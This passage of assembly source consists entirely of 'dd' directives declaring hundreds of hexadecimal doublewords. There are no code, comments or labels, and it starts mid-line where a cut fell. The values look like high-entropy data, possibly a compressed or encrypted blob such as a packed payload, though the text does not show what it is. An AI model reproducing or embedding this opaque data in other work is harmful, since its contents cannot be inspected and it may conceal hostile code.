851F289Dh dd 0FDBD0D01h, 0CB8667B7h, 0FA7B73D0h, 0CC4F0384h, 48350394h dd 6E0D49E8h, 806F3D3Ch, 9A73C1E0h, 98F4B0h, 3CCB823Ah dd 369E6639h, 0A82B311Fh, 0C5D2CD80h, 168456DEh, 0EF43C6ECh dd 0B6F84E00h, 8F12F4h, 0B39DEB2Ch, 16DED3A3h, 0D2C0CB00h dd 250D2AF5h, 0BAF4B1h, 0F985EF7Eh, 17A55222h, 4800A373h dd 0AC1FC694h, 36175A6h, 0BAB78262h, 92B9A07Fh, 0C1F4E0F5h dd 9890B800h, 2AAF0ACCh, 0FE637B5Bh, 45560043h, 193A61C7h dd 0FB98CEBBh, 0EC738B00h, 8C30C1Eh, 0BC3600BAh, 962E332Ch dd 0F90F209Ch, 0A54358EBh, 0BCC7CF03h, 6E718640h, 3AC900D9h dd 0B2DBCAD7h, 20006BF4h, 8C67760Ah, 0F99B62Fh, 0F70CC83Ch dd 6BD7AE00h, 36001FEFh, 9E4F1492h, 0EEB9A7D5h, 9FE8005Dh dd 0A2405A63h, 0BB7494EDh, 200CBA01h, 1B04862Bh, 0BFF6ECh dd 94295CE4h, 0A223570Eh, 3814E500h, 1CE94EADh, 24BF00F1h dd 0FCEBB6FAh, 8F0F0EF7h, 0E07B017Ch, 0E75211A1h, 59A83E5Eh dd 0A0582B01h, 0C8E457B5h, 32002412h, 6EEF97EEh, 3B02Ch dd 446FC67Bh, 16ACD0ADh, 8FFB681Ch, 83921E00h, 91AEDCh dd 299FFAE3h, 906917BAh, 0D1C8F803h, 0D083FBEFh, 0A29151h dd 208227D3h, 29E67A79h, 8FD6CB03h, 0B02FCC9Dh, 367347h dd 0AAB5FBA3h, 42756434h, 58DEF600h, 2ECC02CEh, 0F8080090h dd 41A6B820h, 0D40036F0h, 0BEF4527h, 7377081h, 836C3C7Bh dd 0ECB70011h, 943E536Eh, 54300745h, 0C0FE9C0Fh, 0B7103D82h dd 55310035h, 0C1762DCEh, 0F6001C0Ah, 687C5154h, 6C3370h dd 0FE4D7F82h, 0EB8B05E1h, 1800E276h, 0E325FCDFh, 1661CC1Eh dd 2E2FA9h, 8F7DBB6Dh, 47018C5Dh, 0B9D06545h, 0C1C9081Ch dd 5342E8h, 49CBF643h, 27A20352h, 820023FCh, 1538ABD5h dd 1B86E2h, 0D83601B1h, 0CB5463FDh, 0AFB9FE00h, 4DE6BE76h dd 80FC0068h, 79D70365h, 44015601h, 1B4218EFh, 0FDCC2AAh dd 0BCC3000Ah, 779A719Bh, 8B003DD6h, 95E7611Dh, 5B5EF0h dd 6F949609h, 0B927F5D0h, 7F0149B0h, 0DCD1F391h, 5EC01E5Ah dd 25FFA9Eh, 27774B40h, 114839E7h, 0B70F5DA4h, 0A3545592h dd 0FB18D4FBh, 5E799119h, 663660E2h, 0FECE4h, 0E3BAFD61h dd 63E77CA0h, 0EC0B2200h, 69F65997h, 914E130Fh, 0C01E1E07h dd 70C6E12Bh, 3407DFD3h, 25AF2272h, 0F5C47F90h, 0A26006Dh dd 8D15439h, 4009FBFh, 123CA2C5h, 0CE4410h, 1A0AF9B2h dd 0C8818BA8h, 29D7B502h, 407B7EE2h, 9FECC8h, 553AA4A5h dd 1C0177DCh, 0DAD37500h, 0B7CD7A7Eh, 5C370012h, 0AD2A27ACh dd 3F000B80h, 0FC8D6677h, 121F20E7h, 3BDB7Dh, 506DA59Ch dd 0B8F0D907h, 0C55E8500h, 7951488Eh, 52F7009Fh, 15DE57F3h dd 0F01DC461h, 70CFCA6Ah, 0A3C62216h, 0FB276012h, 96B11FEAh dd 0ECE800B8h, 0B7EE06C8h, 0CD516000h, 5BEFAF6Ah, 50DE0089h dd 7EF286D4h, 0DB026F29h, 0E61FAE84h, 52007FF4h, 7784111h dd 5173400h, 0C08DB5B1h, 0F9AF00A2h, 42A0DED1h, 17B8C499h dd 69C91E00h, 1C7B9F0Bh, 6D552602h, 493900F7h, 0A2EAD163h dd 547448h, 0B7A405A8h, 0CCC70Ch, 4E3B59EEh, 0B1B2701Dh dd 3FE82500h, 4659A7Dh, 4D5500C8h, 9D451E8Ah, 0BE012F1Ah dd 7C076863h, 90DFF57Dh, 0C4DE10h, 0E05D93EDh, 1D73E4Bh dd 0E1EB1F00h, 13E67856h, 927B4Ah, 0B0585750h, 30852D83h dd 0AAF27001h, 235F10E3h, 0A01724CCh, 72AC1ECBh, 0FD9F00C5h dd 0B4BCDFEh, 0E000F26Dh, 722ED3DAh, 65CCD0h, 7ED787B3h dd 0BC0A75B5h, 2A509100h, 3D67FF23h, 47DCF925h, 0A2A53934h dd 8DC4A700h, 0DC6EE2E4h, 36EDEB00h, 0EF88A139h, 293C003Ah dd 0E5603064h, 0BE000ABCh, 8A2DB220h, 0E03B493Fh, 72FD00B3h dd 0E83D8F24h, 34FE0B2Eh, 0EE10A400h, 5020DA84h, 93B1006Ah dd 0F3D21592h, 0D9F46FD7h, 1A3AC00h, 690B6466h, 0F113032Ch dd 341E7018h, 85C83EDBh, 0BE7A42E3h, 0B514DF00h, 0DE4874FEh dd 0D3CB0E25h, 19E123CAh, 0F82EB793h, 0A1F2DA9h, 2B4298FBh dd 0C3510C03h, 0C879B3E8h, 0A819B75h, 0BAB43865h, 0EF1EEAh dd 58F2E0A1h, 934CE4CBh, 0DB190007h, 65A5E8B5h, 0C14A006Eh dd 49A017FCh, 9900116Bh, 0D3861FD5h, 74EB42h, 0B184544h dd 34F1B939h, 0DF31F800h, 0AC3D589Dh, 17291D33h, 0BF6EC007h dd 0A64FC030h, 20D4FA00h, 8EADDD3Bh, 77F50010h, 5ED7F902h dd 0E203D61Ch, 0EA1B8354h, 0C7A59009h, 0DC610271h, 0C89C3598h dd 993E8760h, 31EE7300h, 0E88A8E5Fh, 9B440020h, 0C34CEA49h dd 37002F95h, 0F3C505A7h, 51C734h, 0FA23B177h, 7E39B67h dd 0A003BEEh, 5DE6F68Ch, 52C6ACh, 57BD4775h, 9BAA2126h dd 3320A400h, 0A0AE6F46h, 0A6090004h, 867F2D60h, 0F41EF07Eh dd 0B556D518h, 3A8CA00h, 7078285h, 56CA1D17h, 982CA046h dd 0FE00A729h, 0F632543h, 7A60EFh, 9DFB6E3Bh, 0F891E3F5h dd 96050A00h, 0C8496D2Eh, 1DD20053h, 83F6B0E6h, 26009823h dd 44F439Fh, 9657A7h, 0CCFC542Ah, 0FFBF6981h, 565A261Ch dd 0AC054500h, 0AE09FEh, 0F965B8D9h, 0C9BFB9ECh, 0C32FD800h dd 0B46E4182h, 0DCE10720h, 0C8E73Eh, 0FFA9BB9Dh, 0C1166D00h dd 1F649801h, 3C0B002Ah, 0D62DA4DEh, 0D0BD1352h, 0BB1D008Bh dd 0DAA35350h, 863AABC5h, 0D8C087A0h, 4D30D260h, 98A4F2h dd 0B9010780h, 553B2F7Ch, 9C484978h, 61EC00EFh, 0B76D252Bh dd 7C331DBFh, 0AB4EC33Fh, 0CA90DD1Eh, 77E48FBCh, 0DB05A000h dd 50F36F2Fh, 0AD320062h, 8ED17896h, 2CE2E192h, 0B421CB00h dd 407E2E89h, 9C0E3A84h, 0AF735880h, 0A0388FDCh, 0D689000h dd 0B0BFC016h, 9F7100A8h, 8AD75ABDh, 0CD009D4Bh, 77E8F992h dd 9864049Ch, 44E600A6h, 6A5936D9h, 7F008CCFh, 0F19CBE4Ah dd 0A9519Fh, 3C8396D5h, 0EF5F0880h, 7F193D00h, 0C9033FDEh dd 65D900F8h, 0D8F607CDh, 0CC74F492h, 0F0B3CB00h, 8F3F56DFh dd 0E026000Fh, 77455865h, 0D5FC9D3Bh, 202CD000h, 92B170EDh dd 0EA6E00C4h, 8536F425h, 8C125721h, 3700344Bh, 5E332A51h dd 0F4D02698h, 86EF00C2h, 62BB15FAh, 5A43F02h, 80F00668h dd 4B4834FDh, 2EBC01D1h, 9B6BE0BFh, 282C60BEh, 9A2C3300h dd 0A8D31316h, 5C5500A7h, 8A12FC0Ch, 5800BC75h, 0C09A528Ch dd 76332714h, 2DF4001Ah, 0E0EEBB84h, 0D0905994h, 711F537Ah dd 82C0C31Bh, 73B086DFh, 0C6D11EC1h, 64B4C06Dh, 67DBD05Fh dd 32D9DD07h, 4630BBC9h, 21E99Ah, 0EEB9AE0Dh, 0EA59A427h dd 0B2B81300h, 0C3D45F57h, 100800E6h, 136F371h, 0A62667C5h dd 0DD03F98Dh, 0B738CABEh, 5E1EB3C0h, 2256008Ch, 68D8F96Bh dd 62E6A66h, 0AD00012Ch, 3763A693h, 0FE7D95h, 12CF7D4Bh dd 170E8931h, 3468C8FFh, 0B297F50Fh, 0A0270314h, 9B3388BEh dd 5B7900EDh, 0D80619A4h, 9603E07Ch, 77C161ABh, 2E27F06Bh dd 87340797h, 80A70858h, 6C185EAEh, 28393501h, 0F9B1E90Bh dd 30D0F6E1h, 0B3AC0084h, 0E27BD5CEh, 510F75A5h, 0C0A6E61Ch dd 935C27B5h, 1336000Fh dd 0E33264B3h, 62F81D87h, 760990A0h, 0B07B5B00h, 0C00DC944h dd 247F0094h, 9C9B2E95h, 0E107C401h, 0B9FDE629h, 0F797B80h dd 443400ABh, 4D25C5E9h, 0CB031742h, 98941FD0h, 0C378A233h dd 0EA4CE007h, 0F24E001Bh, 21D582ADh, 0B5002C0Bh, 0CF45A8B4h dd 3AE1ACF1h, 460034F8h, 959E9096h, 0BC007E65h, 0B649DF4Ch dd 0EA15546Fh, 5B311C9Fh, 0B40D40A1h, 0CBE7EE0Ah, 0EA8A7D00h dd 4009431Eh, 756C000Eh, 0F5B7FE1Dh, 501FDDC9h, 2780F354h dd 0C842B8D7h, 2AD91CCBh, 407D5C3Ah, 0EB8C192Dh, 0B400A13Eh dd 0C1ECD4F7h, 38F5409Eh, 49800A81h, 3912919Bh, 0A12CBE0Fh dd 0C9001A64h, 0F3DBEF55h, 0C009001Ah, 0B6D85C21h, 0CE0012CAh dd 286609Ah, 529E8Bh, 0EC9EC3Fh, 8E68C6B9h, 65C41E0Eh dd 0ED3520DFh, 3840C2D2h, 4835723h, 9A7664Eh, 363FC188h dd 31766D07h, 0A0CE3E1Ah, 0CA8D8297h, 2CB905F9h, 80771F93h dd 14747835h, 5E39A200h, 0B3AF7B7h, 90DA0065h, 0AE92697Ch dd 4500A435h, 0AA92E7Eh, 78EE6053h, 0F28400C8h, 0DCA83490h dd 0E60005A3h, 0F15546F7h, 0EC8052B6h, 24E501A0h, 0EE01F04h dd 6CD56079h, 69A0C01h, 4D4A59EFh, 0E281C8h, 2720AA87h dd 5312CCACh, 2671B409h, 0FBD0803Bh, 0EE5C4566h, 50480060h dd 0F7EE5FDh, 0B1006CA8h, 681315Ah, 493E73h, 27EA2CEEh dd 0CF6F7D6Dh, 51FCB90Fh, 12F5A00Eh, 746907h, 0F8BA550Ch dd 451E4479h, 466E1900h, 0DF60D613h, 0D4C400ACh, 0E76B7A03h dd 9500DD92h, 0B1ED11BDh, 0D93F58h, 7BEA5CEh, 774433F0h dd 4A6A5F00h, 0E954D082h, 9C743AA4h, 3C597600h, 0F12B7A05h dd 0CE3B0600h, 235DD66Eh, 83160039h, 0A9FB93C2h, 531E625Ah dd 4000EE84h, 0FF7D88A5h, 0B2030146h, 662B30B4h, 0C28CD8DFh dd 498B9E03h, 0F8C57CD5h, 725D869h, 0C023FA8Ah, 8B9460A6h dd 97008D47h, 0FF559590h, 0A21B9Eh, 2DBD9180h, 9BBA8ABCh dd 0F94FCF00h, 0DD3041BBh, 34250071h, 39C2FF7Eh, 50007C11h dd 0CD056646h, 713EA1h, 912D5F36h, 34FA06A6h, 56305500h dd 0C7E36842h, 0B1EB00E4h, 43BD948Eh, 7900FA0Eh, 71F2D06Ah dd 98A01385h, 0D6E003Eh, 801C98D9h, 0E800C7A6h, 0B406ED9Ch dd 0EE56390Ch, 7DAC3CA3h, 80A9005Fh, 858345A0h, 133EBC12h dd 449D9D00h, 0FCB0EC8h, 4A02D759h, 8269E4E0h, 14004EDCh dd 0B82F642Dh, 0F00F94h, 0D3211FA1h, 9DAD6B6h, 88717700h dd 83134CB7h, 0A47E00BBh, 0C45B0EEFh, 5503D1F5h, 33CBF844h dd 836DE853h, 0ECA0052h, 466F61F9h, 0D900B105h, 0EC95BE54h dd 35DE5h, 2BABC356h, 40FCBE8h, 0EF80FF1Fh, 3E15D340h dd 0D75E08h, 83B76939h, 3197F3E3h, 3841703Fh, 113A06E5h dd 0B87623h, 0AD0237C5h, 7DF7B9EAh, 4A0EAB00h, 2B59E89Dh dd 0C62E0330h, 6A40F5C3h, 0A68109A8h, 7B661B00h, 87EBFF78h dd 0BA080067h, 0B1D74F6Eh, 0B4F67FCFh, 369AB6C0h, 72F859E2h dd 3E177D20h, 0CE03D5B6h, 34BED35Ah, 0E05798C9h, 3B00906Bh dd 0D41973BFh, 71AD4B97h, 81420043h, 0C034C495h, 5B00899Fh dd 7AF0A666h, 7D0D51h, 0FE9D81C3h, 581064BFh, 2A338D0Eh dd 7BC800A3h, 0CC94ADh, 0A90DE548h, 0DBE2ED45h, 364B5604h dd 8280A157h, 1D78232h, 90A59AF5h, 0C8EED306h, 0FE074BAEh dd 606F8A07h, 34D71670h, 54DF0B7Ch, 3300DD1Dh, 5C0BFE09h dd 0D407E509h, 0F4C983E1h, 0CD34B87Fh, 0B80D0BFAh, 0ED80CF96h dd 0FE8317D2h, 85C3C13Fh, 0DE5E846Eh, 76E2BA80h, 1A8B0399h dd 97B43D82h, 6E1CF5A8h, 0FA9C7B1Eh, 647A8641h, 0A4D08216h dd 41E4003Dh, 9D9962DDh, 0B70E60C9h, 0A04F6D44h, 7966D4A5h dd 8A7B00E4h, 0D924D898h, 0A90077E0h, 744EC475h, 765E937h dd 0FDE28EA0h, 0CD2D7009h, 0CC1D1AA7h, 0B900195Bh, 3B804A66h dd 29F051h, 2E81F50h, 860C7E36h, 57E35B04h, 3880E4E6h dd 3F9948C4h, 0E780CA1Fh, 0B173A6DCh, 280318BAh, 6D458982h dd 9EBC80D7h, 978B5h, 4806F3E5h, 0DEAB8478h, 0ADD74200h dd 3D856923h, 2B660082h, 6DCC938Bh, 9512D4FEh, 8C0474DDh dd 1B8091F1h, 5D515Ch, 9DFC93F0h, 13B95028h, 0C5C9A400h dd 0B8E73766h, 0A08D005Dh, 0F9DBA7Ch, 0F200022Ah, 0B3CD64D0h dd 9E646F3h, 4C50A72Fh, 5DE2F480h, 0DA000C07h, 0C0108162h dd 0E87BFC41h, 49F4A2h, 0F1333AE9h, 0F78675E7h, 0AC00EFF8h dd 0D2B8032h, 0D9B970h, 0D2F2C3B8h, 95790496h, 0D1A52400h dd 4EBDC609h, 0EDAB00E0h, 0CCB96AFCh, 7800DC2Eh, 0BA5E2654h dd 901EE2h, 0FB745B94h, 31E6F7FDh, 0E57DF200h, 5768146Eh dd 0D4410976h, 4081FAA1h, 0F8D1F977h, 4D12D62Ch, 0A3008864h dd 0F70BFD49h, 71E2E8h, 7C19368Ch, 0F13CA98Dh, 41C7BE00h dd 81C8A21h, 0D0E51E82h, 0C1E801h, 99843BD9h, 0B76BC14Fh dd 600DB200h, 0EBB9E18Eh, 1F690070h, 6D8D9CDEh, 0E4CDC01h dd 0FCAE16D4h, 99000E1Ch, 4AA15EFDh, 0C2CD1DA3h, 0D4968076h dd 65D837E0h, 3E437100h, 98BD8775h, 5FDFD44h, 9F74DCh dd 0AED6C35Fh, 4A42BB4Dh, 96BD58h, 654B7D07h, 52909Ch dd 7995A936h, 22ADE87Ch, 8021AB3Ah, 46BF02Ah, 0FCD0F54Bh dd 976D1F33h, 3CB540F1h, 59365B4Fh, 26F49E0Eh, 280A2014h dd 0FF66339h, 570FBE13h, 9BE049EEh, 1B275E3h, 0A600A4E2h dd 0F2EC4CA1h, 1CBDEFB1h, 9DF0202Fh, 3F65409Fh, 0C880E215h dd 9032875h, 123B8E24h, 3373E86Dh, 5BA5003Ch, 9FB7DCAEh dd 0AA79CF58h, 4FDA4800h, 8206E08Ah, 0D46D00F9h, 939B59A6h dd 19017BD3h, 0A7CFEF63h, 0FE4192EAh, 0E42089F9h, 0E74A1D20h dd 45F301E5h, 708BF880h, 0FA03B184h, 0F1175AA6h, 5829C802h dd 3C8300DDh, 3655EB30h, 5258F538h, 870200ACh, 0D52069A5h dd 95650473h, 0F053227Eh, 0AAE21D29h, 294AE00h, 38F62B6Dh dd 2A0400BEh, 2DD09EDAh, 0FD1FB049h, 0F8842250h, 9C025F1h dd 1DC38798h, 631169h, 0E9B4B135h, 2E0013C0h, 67A2B90Ah dd 1EBA5232h, 431710h, 0F43409D4h, 1E58508Ch, 1F941F0Eh dd 0A310AE00h, 0F5F0C7h, 0CE5C2BD9h, 0B9C43097h, 584F81Eh dd 609D39C0h, 0E8434Bh, 3A20152Dh, 92FDCB91h, 170C4100h dd 0B36A086Fh, 9AB097h, 0D6405599h, 0CE3E1DEEh, 25E83Fh dd 384C32DAh, 0E37984h, 8B685FA4h, 42A0AF12h, 9923F400h dd 0A90CCF25h, 0E883009Ah, 1DE0C208h, 4900B743h, 5E1BB004h dd 3028Fh, 7C2A2676h, 436E10EAh, 0FDB11A00h, 513B489h dd 69481CC9h, 66584FEBh, 100BAB6h, 60E0021Eh, 4BB500ECh dd 39327085h, 9A0781A3h, 86893C13h, 8E0E08E0h, 3A8B3FB5h dd 69039E00h, 4BDD8439h, 5990E574h, 0C16AB00h, 0CAEB8CA7h dd 0E97E00D6h, 2B921488h, 83007607h, 0AE6FF2BCh, 5A70C9h dd 0B8724C2Ah, 0DF1AEABEh, 0E2AFBB00h, 75F43061h, 27DE17C8h dd 0B7C50031h, 78BE96F1h, 32CB600h, 0EAF2F05Ch, 0D8853D8Eh dd 4C7F24h, 0F797E4EDh, 251E6F18h, 3E40C602h, 35FB2CE2h dd 0B1840051h, 0BDD11619h, 0E1007E64h, 0A9DB602h, 0B0F1907Dh dd 0C36000F3h, 0B443BA61h, 81001796h, 0B6035E74h, 6D7FC55h dd 12917D53h, 0AE074CBBh, 0E2ABCEF1h, 8F353070h, 0DCF5005Eh dd 3A1C7E05h, 3F035995h, 33390A7h, 61A8E8E4h, 46A21D92h dd 93F5007Eh, 0C0ED7240h, 73B4E800h, 0A21B5F0Eh, 5B1403F0h dd 2447B2Bh, 9D49AEA0h dd 0AA650B00h, 0EAF5DD50h, 0D4E0EC9h, 0C1E043BBh, 838743Ch dd 80F9733Ch, 1DEB91ACh, 5CE7BD30h, 801FC36Ah, 0CFB81D83h dd 0E340555Bh, 20AFDC87h, 0F7CB5C00h, 0EA1D568Eh, 263A0040h dd 0B9766D01h, 37F04D87h, 7C20D00h, 0CFDC17Eh, 0EDEC0029h dd 58BC093Fh, 0D307F79Ch, 6D13267Ch, 0D6EE9950h, 76BE00B7h dd 6E88F480h, 0FA0050D5h, 0A03C8278h, 6C64F3h, 769F138Dh dd 0CBEAAE74h, 12443400h, 0A1AF3E21h, 0CA202DDh, 4BECF97Ah dd 6CC8B6C0h, 0EDFC5D00h, 0B3107147h, 75BD0FBCh, 0E847F8DEh dd 52A07E3Dh, 483BB0FEh, 0FA4CA704h, 7CC1AD56h, 4AD81F2Ah dd 91E009Eh, 3302DB75h, 5700BEAAh, 0B6230CA3h, 0FC644263h dd 960F00EFh, 51142880h, 16002692h, 1CDC0611h, 0AD71FDh dd 0C7B6CA3h, 0D8B66BB5h, 7CCBF15Ch, 0D53AC00h, 5B59D25Fh dd 0E1051733h, 8D880017h, 0B2F12A5Eh, 39FE860Ch, 342D6C1h dd 0FBA291B9h, 9EC83E33h, 0A7013C38h, 0C2515F4h, 0F9FCA52Dh dd 0BEF21Dh, 12B85B31h, 97BB794Bh, 21B60F00h, 0B1EB3DD3h dd 6C40001h, 80775C9Fh, 8D00ECB3h, 19F7CDB2h, 0E31AD8h dd 6AEF21B5h, 3A813EAFh, 0AEEA31B8h, 1F517A00h, 8C34DB9h dd 329A00A4h, 0AB99DB27h, 0FA1C6A13h, 80BE6136h, 0CA249C0Ch dd 0A1A38Eh, 0E00EABC4h, 0CCE17998h, 92F47B00h, 0C253B269h dd 5A6107C9h, 4139CA62h, 0FC3F637Ch, 0F9004A2Fh, 0DECE6E18h dd 3EF8BAD4h, 0A4804B31h, 0DD5BA057h, 0AD00490Dh, 6610F597h dd 0C83518h, 0C447C164h, 36D2C968h, 0C6A0067Ah, 22003303h dd 0B1EAEFA7h, 26D1454Ch, 1DF17Ch, 8CC4BC27h, 0E000571Fh dd 72B65D64h, 70F5897h, 16C1AEFAh, 5F891054h, 871E14DDh dd 0E340BBABh, 499868A3h, 7ACE98E6h, 0CCF50097h, 7A72781Bh dd 8E4C57DCh, 36670ED1h, 53D0A0E5h, 1F3FB223h, 8005C6FAh dd 9FAF5245h, 0B80E7FF4h, 20F27BD9h, 0EF7CC94Eh, 72BA0004h dd 0A686E310h, 0A2E0A92Eh, 0F600AEE8h, 259FCD60h, 0DAF5E5h dd 22769623h, 0DF4585D8h, 1C211000h, 0AC617DE4h, 0A01A018Eh dd 0D03A93C0h, 7B8C84Ch, 2D0FFF2Eh, 0C0CA190Fh, 3D4940DFh dd 0D9AC1FF7h, 0FA8B002Ah, 0EF939EFBh, 0BCD34C00h, 0E243C51Fh dd 13983Ah, 0A079D9AAh, 98F60C59h, 9048AF71h, 7C220026h dd 0A1E0527Bh, 64510046h, 0DC4F9344h, 0C3005B92h, 85692FEEh dd 0A1357134h, 0A0BDF6CDh, 6E9C1A8Eh, 0CAB1E4E0h, 3700CD30h dd 94F1613Ch, 0BA9A96h, 1EAB8B36h, 95EBEDB9h, 6525DF17h dd 542F2704h, 57C71BC0h, 0DDAE07D8h, 0B1F4FB06h, 3097B5A2h dd 0DF01770Ah, 5B162DEAh, 51602785h, 0B16F0006h, 15B3B451h dd 7B0099EDh, 83FAA5E0h, 1EB2FEh, 525EEF0h, 0BC227251h dd 1FB6DC00h, 0CAF24F8Bh, 0E60E0701h, 63CDF8BFh, 2E0067E7h dd 0CBFEA37Bh, 0EAE00752h, 0FF710061h, 0B66949DCh, 75988CE5h dd 276EEB00h, 0B5879E06h, 7B6200D4h, 2F5128D5h, 3B0BFF08h dd 0D8CBBBh, 9E8EFB92h, 24F983Ah, 84CC060Bh, 59E11512h dd 0A360EEDAh, 481F0EB6h, 69805CE6h, 23B2D9C1h, 636C0150h dd 27332864h, 8D057004h, 80B4BA3Bh, 0AF62792Bh, 3CFE0531h dd 89807433h, 46EE2E7Fh, 4E062F16h, 0A9ECC419h, 0BEBF1C24h dd 50D740F9h, 819CAD86h, 5835463Dh, 0A2007454h, 5CE49ACCh dd 3230844h, 771DB0B3h, 0DED829FCh, 0E91F6275h, 1400CE57h dd 99F78D76h, 1D3B1743h, 0C1410061h, 67D14CD5h, 7A00C5F2h dd 8FCB1F4Bh, 5CD6EADDh, 7068A4h, 4ADEB9D2h, 0A1AC888Dh dd 29015500h, 8C576C4Ch, 84B800F1h, 0ADE1A378h, 0D8007D6Bh dd 5CFACB5Ah, 1DCE145Fh, 40F27CF1h, 0EB81E121h, 0C805AADBh dd 738C5883h, 88A62C83h, 260659h, 6D4FF4C3h, 4DF7B5DBh dd 52967205h, 6BC0A5CEh, 3795951h, 446E0BEh, 708F39ADh dd 1C5B83AEh, 933E1F63h, 3CD4A0A0h, 0DBD61F37h, 1769039Eh dd 1190C4EDh, 0F32D242Ah, 0E3554F5h, 0C700D3F2h, 0E38085F6h dd 185ACB00h, 9CB97F1Eh, 9F70002Dh, 5EF17DEEh, 0D0ED2A3h dd 40CCDF62h, 68DF479h, 12550035h, 98AD924Dh, 1A00144Eh dd 0F47F8807h, 0FB41D8h, 69FF3C6Fh, 0EF2ED9E8h, 0C7BBB500h dd 0A4902818h, 2C360098h, 0A624F572h, 4002A32h, 643DF926h dd 3F3817h, 0DCB20B3Ch, 0D9D18FC7h, 43B72800h, 0BC59A15Fh dd 0E5FA8Eh, 0D265FA72h, 63EC84BBh, 0BF1E7FFCh, 1CC35D77h dd 0F8464E24h, 58D8299Bh, 8A0776B2h, 0AC3DAC75h, 0A00039D6h dd 31CDEF1Bh, 1B36764h, 36C10F32h, 0D09CD7D6h, 9729A19h dd 0DFDA630Fh, 5B8C13Ah, 85603B82h, 5BBB0023h, 0E2489941h dd 0FF1FD5D4h, 0BC80D201h, 0D64E1895h, 97E70052h, 28EA108Bh dd 7A00DD45h, 30018119h, 0A89637h, 6BC80812h, 4E3E82A2h dd 80CB2D00h, 9C791655h, 86A900EBh, 0FD74A024h, 22009A6Fh dd 0BED9E718h, 0F37F0Fh, 0D5ECD73Dh, 5156AD6Ah, 81FBE92Eh dd 0A4F8EF00h, 0F084F2h, 6B77D461h, 88701245h, 7C1CF50Eh dd 78FE0017h, 0FCF4DDh, 0C486DCAFh, 0BE706DE9h, 5F65EF00h dd 1B7B29EBh, 4C610002h, 2B24A0ABh, 0B7009934h, 0C6486A7Ch dd 2D979Ch, 0C58806B8h, 5CB4823Ah, 0AD15BA2Eh, 19EFB600h dd 0AD028DDh, 9D39D248h, 87DB1CE9h, 166A2B25h, 0A80FA67Bh dd 0E00DEC35h, 2F71F13Dh, 0E52601B0h, 0E4E62232h, 0C5642015h dd 0F772C000h, 6C2F41Eh, 387908Fh, 527F4B9Ch, 42803159h dd 4A01C1DCh, 7739EB8Bh, 0D3C850C7h, 89ED0032h, 0A182A32Ah dd 7078C128h, 0C0A62201h, 372BF052h, 17C7CCh, 4A4496FCh dd 1EE27498h, 3B70452Eh, 0DDC83D00h, 1E1253B9h, 3A268D65h dd 7F2FA100h, 0D9191C14h, 0BC5E3D00h, 0F26043F1h, 3CE0008Bh dd 998E0EBFh, 0AD903394h, 38C81800h, 679B885Fh, 7310009Ch dd 48B6FD80h, 0E5006E28h, 7DBBA8B8h, 1C19BFD2h, 0C047CC51h dd 3DDE0A06h, 611DFB8Ah, 1AC5DAFDh, 4181848Ch, 0DBD30BC8h dd 9CD88A3h, 5D0C00D6h, 19895FEh, 0BF0EB6DAh, 80EEE0DDh dd 1808DF7Dh, 4F25Ch, 0CC8BFA1Dh, 0E3244755h, 7346D701h dd 9483C125h, 2CADECh, 0B26D5D38h, 7A3C8D8Ah, 9D764400h dd 0CE36D55Ah, 9C7F12h, 81F51559h, 0AA7A5FE1h, 0EBA54800h dd 8DAB1BD7h, 2D090051h, 84E49901h, 301F32C9h, 5847EFF0h dd 0F7037ECh, 12A03A3Fh, 2A4A61h, 91733B2h, 4000D307h dd 4E78361Fh, 73ACD470h, 9FF9004Fh, 56BEDF64h, 29001A38h dd 5A74BB65h, 143ED543h, 0C25DDD3Fh, 424F8F1Ch, 0B37C9C3Dh dd 0FD2BDD60h, 0E827D200h, 8A043662h, 8F0C00A5h, 542234D8h dd 0E900FDABh, 165BF180h, 3B14EA37h, 6387F87Bh, 0E033AE28h dd 5CD25F2Ah, 469A9100h, 0AFA67C2Ch, 0F4D00066h, 0B629ADC8h dd 9C00418Dh, 288295E2h, 7984920Ch, 0F7F68h, 34A48A4h dd 0D0B85805h, 6731D100h, 0E63DB278h, 454000ACh, 9373EFEDh dd 0CF7CA15Dh, 19001FBCh, 0F561FCBAh, 972E00C3h, 320C3FCBh dd 9301A1A3h, 8137604h, 260B172h, 9AF60F21h, 0EA60E4FDh dd 0AE7EB412h, 0D331A500h, 7BB71E92h, 76F00180h, 9FE2273Bh dd 0FB3D7015h, 0CECCD403h, 0B0AB8926h, 1CC61841h, 805CD7E4h dd 0B97D17Fh, 130055D2h, 0F8A5AAC2h, 0E0DAE8Fh, 2662EE9Eh dd 10BD0EA0h, 0D5012071h, 4AD77856h, 0B5C4149Ch, 3A9DE83Ah dd 0B1923189h, 68A400D9h, 0AF7B113Dh, 0EAA9E01Ch, 66062E80h dd 3CB5BBh, 56A1921Fh dd 8DC13823h, 143AA7F0h, 0EDA3AE99h, 0F88B8703h, 0CC099860h dd 0EFF3006Dh, 78EDE48h, 0B71D1F14h, 0FDDCAF91h, 7F469C40h dd 0C82A49h, 0EB2F8FA6h, 45FBC19Bh, 7AB30900h, 8ACC1777h dd 369A1CCDh, 88B1003Ch, 9238CB21h, 758BC0F5h, 17FE7F3Ah dd 1700C38Ch, 4952D78Ah, 91900FCFh, 0EF20A1DAh, 7637F29Fh dd 0F500C498h, 6A664C3Fh, 0EE60Ch, 3EF47201h, 934ACBAFh dd 4CBC2300h, 34387177h, 7BE8022Ch, 0B47C58C3h, 0D24D95E0h dd 26000D90h, 0EF96ACDh, 1FFCC8DFh, 4024AA7Bh, 0C0F8444Ah dd 3F0E1B9Bh, 2038EFC1h, 0D06E807Ch, 0E600098h, 25862CA9h dd 7B07CC8Fh, 0EE2FF4E7h, 5F39A0E0h, 2A2000FFh, 6617FC83h dd 0D60F699Fh, 0FC0BA99h, 605D2F92h, 0AD37B6CAh, 0E9AA008Eh dd 14D05704h, 31004A0Eh, 0B0992124h, 0F09DE2B1h, 85D11CF5h dd 0BEB3005Ch, 0C5E40D51h, 8424C01h, 212C457Fh, 38A0F5ECh dd 23005534h, 29290D5h, 5E00705Ah, 0A87A4559h, 0F81109h dd 0A9D25C83h, 87FC40B1h, 28F25F00h, 592DF393h, 247C00C0h dd 0A801979Dh, 0EF008BCAh, 44537E7Ah, 382FDB1h, 204D4631h dd 4C985C90h, 2F003406h, 0FE6B172Eh, 0CC9C22h, 5BDFF85Dh dd 0C09F507Ch, 5421B200h, 69C2E887h, 84190337h, 7F56E24h dd 0F85AE5C0h, 7CBD7603h, 0B8B89DB1h, 3C4411h, 0AAC71BD9h dd 0B52E8B91h, 8F522600h, 0F861A5DAh, 69E2003Ah, 0E6D13FC0h dd 1A008155h, 23343C52h, 12ED422h, 494CAFF1h, 0DF454F19h dd 0E7EB3AE8h, 0A4526E03h, 0C8481AF4h, 0A55AF5Eh, 